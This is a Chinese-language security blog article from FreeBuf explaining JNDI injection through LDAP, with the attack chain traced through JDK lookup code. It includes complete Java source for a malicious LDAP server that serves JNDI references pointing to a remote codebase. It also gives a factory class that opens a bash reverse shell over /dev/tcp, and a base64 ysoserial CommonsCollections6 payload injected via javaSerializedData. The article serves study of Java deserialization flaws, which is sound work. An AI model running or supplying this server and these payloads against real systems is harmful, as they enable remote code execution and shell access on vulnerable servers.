freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JNDI之初探LDAP
酒仙桥六号部队 2020-10-30 09:29:55 713850

基础知识

在进入JNDI中LDAP学习前,先了解下其中涉及的相关知识

JAVA模型

  • 序列化对象

  • JNDI References

JNDI References是类javax.naming.Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。Reference还包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置。在目录中使用以下属性:

objectClass: javaNamingReference
javaClassName: Records the class name of the serialized object so that applications can determined class information without having to first deserialize the
object.
javaClassNames: Additional class information about the serialized object.
javaCodebase: Location of the class definitions needed to instantiate the factory
class.
javaReferenceAddress: Multivalued optional attribute for storing reference
addresses.
javaFactory: Optional attribute for storing the object factory's fully qualified class
name.
  • Marshalled 对象

  • Remote Location

LDAP

LDAP(Lightweight Directory Access Protocol)轻量目录访问协议

LDAP 是什么

先简单描述下LDAP的基本概念,主要用于访问目录服务 用户进行连接、查询、更新远程服务器上的目录。

其中LDAP模型主要分布如下:

  • 信息模型 信息模型主要是 条目 - Entry、属性 - Attribute、值 - value Entry:目录树中的一个节点,每一个Entry描述了一个真实对象,即object class

  • 命名模型

  • 功能模型

  • 安全模型 ......这些基础可以看看LDAP的官方文档

LDAP 攻击向量

LDAP Server

在利用前 可以先搭建一个ldap server,代码来自mbechler,稍微改动了下

package org.jndildap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LdapSer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {
int port = 1389;
String url = "http://127.0.0.1/#Th3windObject";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "th3wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

  • LDAP存储JAVA对象的方式如下:

    • Java 序列化

    • JDNI的References

    • Marshalled对象

    • Remote Location

  • 其中可进行配合利用方式如下:

    • 利用Java序列化

    • 利用JDNI的References对象引用

LDAP可以为其中存储的JAVA对象提供多种属性,具体可参照官方说明,部分如下

其中在利用JNDI References时,此处主要使用的是javaCodebase指定远程url,在该url中包含恶意class,在JNDI中进行反序列化触发。

在直接利用Java 序列化方法时,是利用javaSerializedData属性,当该属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。

JNDI Reference

攻击流程 参照如下:借用下BlackHat2016的图

1、攻击者提供一个LDAP绝对路径的url并赋予到可利用的JNDIlookup方法中 这里直接部署一个LDAP Client模拟被攻击服务器应用即如下所示:

String uri = "ldap://127.0.0.1:1389/Th3windObject";
Context ctx = new InitialContext();
ctx.lookup(uri);

2、服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference

  • 构造JNDI Reference我的理解是此处的JNDI Reference即为jndiReferenceEntry根据前面提到的信息模型,这里的 构造的JNDI Reference即构造Entry即服务端代码中的

Entry e = new Entry(base);
...
...
e.addAttribute("javaClassName", "th3wind");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
  • 请求JNDI Reference

  • 在被攻击服务端中请求JNDI Referencelookup即可直接请求上,但我们这里还是跟下看下在lookup中哪部分代码请求并利用

在lookup 获取Entry后,一路传参 到c_lookup:

doSearchOnce中发起对传入的url发起请求,获取对应的Entry

同样在该c_lookup中判断javaclassnamejavaNamingReference不为空的时候进行decodeObject处理

decodeObject中重新生成一个reference,后续通过Naming Manager进行载入执行恶意class文件,剩下这部分内容是JNDI的调用逻辑了,跟LDAP关系不大,这里不多做讨论,大概流程图如下:

3、服务端decode请求到的恶意JNDI Reference4、服务端从攻击者构造的恶意Server请求并实例化Factory class即此处开放的http请求下的Th3windObject

import  java.lang.Runtime;
import  java.lang.Process;
public  class Th3windObject {
public Th3windObject(){
try{
Runtime rt  =   Runtime.getRuntime();
//Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/8550 0>&1");
//String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/127.0.0.1/8550 0>&1'"};
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
//System.out.println(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
System.out.println("2222");
}
}
public static void main(String[] argv){
Th3windObject e = new Th3windObject();
}
}

5、执行payloads

Remote Location

该方法不常用,此处暂不多做讨论

Serialized Object

JNDI对通过LDAP传输的Entry属性中的 序列化处理有两处

  • 一处在于前面所说的decodeObjectjavaSerializedData属性的处理

  • 一处在于decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理

javaSerializedData

前文有提到,根据javaSerializedData不为空的情况,decodeObject会对对应的字段进行反序列化。即此处在恶意LDAP Server端中增加该属性

e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm 9ybWVyO3hwc3IAOm 9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm 9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC 4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4") );

这里的payload出于偷懒,直接用ysoserial.jar利用CommonsCollections6生成 此处的CommonsCollections6即前面所说存在的本地反序列化漏洞利用链,所以在调用的LDAPClient本地得导入commons-collections,我这里使用的是3.2.1版本

通过该利用方法可以不用恶意web服务,攻击示意图如下:

  1. 攻击者提供一个LDAP绝对路径的url并赋予到可利用的JNDI的lookup方法中

  2. 服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference

  3. 服务端 decode请求到的恶意JNDI Reference并在decode中进行反序列化处理

调用链如下:

javaReferenceAddress

先来一张调用链的图

在该调用方式中,该可用于反序列化的属性为javaReferenceAddress,payload如下:

e.addAttribute("javaReferenceAddress", "$1$String$$"+new BASE64Encoder().encode(serialized));

Reference decodeReference对该属性进行处理时对处理字符串有条件要求: 首先要求javaSerializedData为空其次要求javaRemoteLocation为空

在进入decodeReference中进行字符串处理要求如下: 必备属性:

javaClassName
javaReferenceAddress

校验javafactory是否存在

在对javaReferenceAddress处理流程如下:

  1. 第一个字符为分隔符;

  2. 第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型,也就是这个位置必须是数字;

  3. 第二个分隔符与第三个分隔符之间,表示type类型;

  4. 检测第三个分隔符后是否有第四个分隔符即双分隔符的形式,是则进入反序列化的操作;

  5. 序列化数据用base64编码,所以在序列化前会进行一次base64解码。

参考

从一次漏洞挖掘入门Ldap注入

【技术分享】BlackHat2016——JDNI注入/LDAP Entry污染攻击技术研究

从JNDI / LDAP操作到远程执行代码的梦想之旅

搭建ldap_server

JNDI with LDAP

# LDAP # JNDI
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 酒仙桥六号部队 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
酒仙桥六号部队
JAVA代码审计
酒仙桥六号部队 LV.5
这家伙太懒了,还未填写个人描述!
  • 64 文章数
  • 723 关注者
从一个App到getshell的一次经历
2022-08-12
艾伯特·冈萨雷斯:黑客间谍的双重人生
2022-06-13
渗透的门被封死了,还好上帝为我开了一扇窗
2022-04-18
文章目录